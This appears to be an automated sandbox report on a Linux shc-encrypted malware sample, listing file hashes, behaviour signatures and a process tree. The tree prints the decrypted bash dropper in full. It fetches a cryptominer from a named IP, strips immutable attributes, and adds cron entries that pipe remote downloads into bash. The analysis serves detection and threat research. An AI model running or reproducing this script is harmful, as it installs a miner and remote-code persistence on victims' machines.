Resubmissions

27-11-2024 08:55

241127-kvn92stkar 10

27-11-2024 05:48

241127-ghggwszqes 10

Analysis

  • max time kernel
    4s
  • max time network
    131s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    27-11-2024 05:48

General

  • Target

    样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8

  • Size

    1023KB

  • MD5

    069ad3938c3f9c049f670a8eb49dc1d8

  • SHA1

    f4fd0c87a18d45ab4b642f32a94673c949ab7caf

  • SHA256

    84d4b99f0d98900b4eadb7e107bf54196f2e5796d8707ebf0dcd76f5b6693295

  • SHA512

    3c627883f53082face65b22d353c1926c4d4f4de008cf41cf2a3326762ad080dd95324f2fd35c3f60c069df4fb2c510d4fa07b26cbc404678f8a655c884beedb

  • SSDEEP

    12288:SBgtRmLBGYhFcueTIqRe/w/Yt6myOP7/x7L15k7bKrHNq9EnE:SQRmLBTFcueTIie/wgB/x7LFLNq9

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Attempts to change immutable files 4 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
    /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
    1⤵
      PID:2547
    • /bin/bash
      /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c "exec '/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8' \"\$@\"" /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
      1⤵
        PID:2547
      • /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
        /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
        1⤵
          PID:2547
        • /bin/bash
          /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
          1⤵
          • File and Directory Permissions Modification
          • Creates/modifies Cron job
          PID:2547
          • /usr/bin/pgrep
            pgrep xrx
            2⤵
            • Reads CPU attributes
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:2549
          • /usr/bin/ls
            ls -l /var/tmp/.xrx/xrx
            2⤵
              PID:2551
            • /usr/bin/awk
              awk "{print \$5}"
              2⤵
                PID:2552
              • /usr/bin/mkdir
                mkdir /var/tmp/.xrx
                2⤵
                  PID:2553
                • /usr/bin/chattr
                  chattr -ia /var/tmp/.xrx/xrx
                  2⤵
                  • Attempts to change immutable files
                  PID:2554
                • /usr/bin/chattr
                  chattr -ia /var/tmp/.xrx/config.json
                  2⤵
                  • Attempts to change immutable files
                  PID:2555
                • /usr/bin/rm
                  rm -rf /var/tmp/.xrx/xrx
                  2⤵
                    PID:2556
                  • /usr/bin/rm
                    rm -rf /var/tmp/.xrx/config.json
                    2⤵
                      PID:2557
                    • /usr/bin/curl
                      curl -L -O http://185.252.178.82:6972/xrx/xrx
                      2⤵
                        PID:2558
                      • /usr/bin/wget
                        wget http://185.252.178.82:6972/xrx/xrx --no-check-certificate
                        2⤵
                          PID:2560
                        • /usr/bin/curl
                          curl -L -O http://185.252.178.82:6972/configs/config-xrx.json
                          2⤵
                            PID:2561
                          • /usr/bin/wget
                            wget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate
                            2⤵
                              PID:2566
                            • /usr/bin/mv
                              mv config-xrx.json config.json
                              2⤵
                                PID:2567
                              • /usr/bin/chmod
                                chmod +x /var/tmp/.xrx/xrx
                                2⤵
                                • File and Directory Permissions Modification
                                PID:2568
                              • /usr/bin/mkdir
                                mkdir /var/tmp/.xrx
                                2⤵
                                  PID:2569
                                • /usr/bin/chattr
                                  chattr -ia /var/tmp/.xrx/xrx
                                  2⤵
                                  • Attempts to change immutable files
                                  PID:2570
                                • /usr/bin/chattr
                                  chattr -ia /var/tmp/.xrx/config.json
                                  2⤵
                                  • Attempts to change immutable files
                                  PID:2571
                                • /usr/bin/rm
                                  rm -rf /var/tmp/.xrx/xrx
                                  2⤵
                                    PID:2572
                                  • /usr/bin/rm
                                    rm -rf /var/tmp/.xrx/config.json
                                    2⤵
                                      PID:2573
                                    • /usr/bin/curl
                                      curl -L -O http://185.252.178.82:6972/xrx/xrx
                                      2⤵
                                        PID:2574
                                      • /usr/bin/wget
                                        wget http://185.252.178.82:6972/xrx/xrx --no-check-certificate
                                        2⤵
                                          PID:2576
                                        • /usr/bin/curl
                                          curl -L -O http://185.252.178.82:6972/configs/config-xrx.json
                                          2⤵
                                            PID:2577
                                          • /usr/bin/wget
                                            wget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate
                                            2⤵
                                              PID:2579
                                            • /usr/bin/mv
                                              mv config-xrx.json config.json
                                              2⤵
                                                PID:2580
                                              • /usr/bin/chmod
                                                chmod +x /var/tmp/.xrx/xrx
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:2581
                                              • /usr/bin/cat
                                                cat /etc/crontab
                                                2⤵
                                                  PID:2582
                                                • /usr/bin/grep
                                                  grep -q secure
                                                  2⤵
                                                    PID:2583
                                                  • /var/tmp/.xrx/xrx
                                                    /var/tmp/.xrx/xrx
                                                    2⤵
                                                      PID:2584
                                                    • /usr/bin/sleep
                                                      sleep 1
                                                      2⤵
                                                        PID:2585
                                                      • /usr/bin/pgrep
                                                        pgrep xrx
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:2597

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads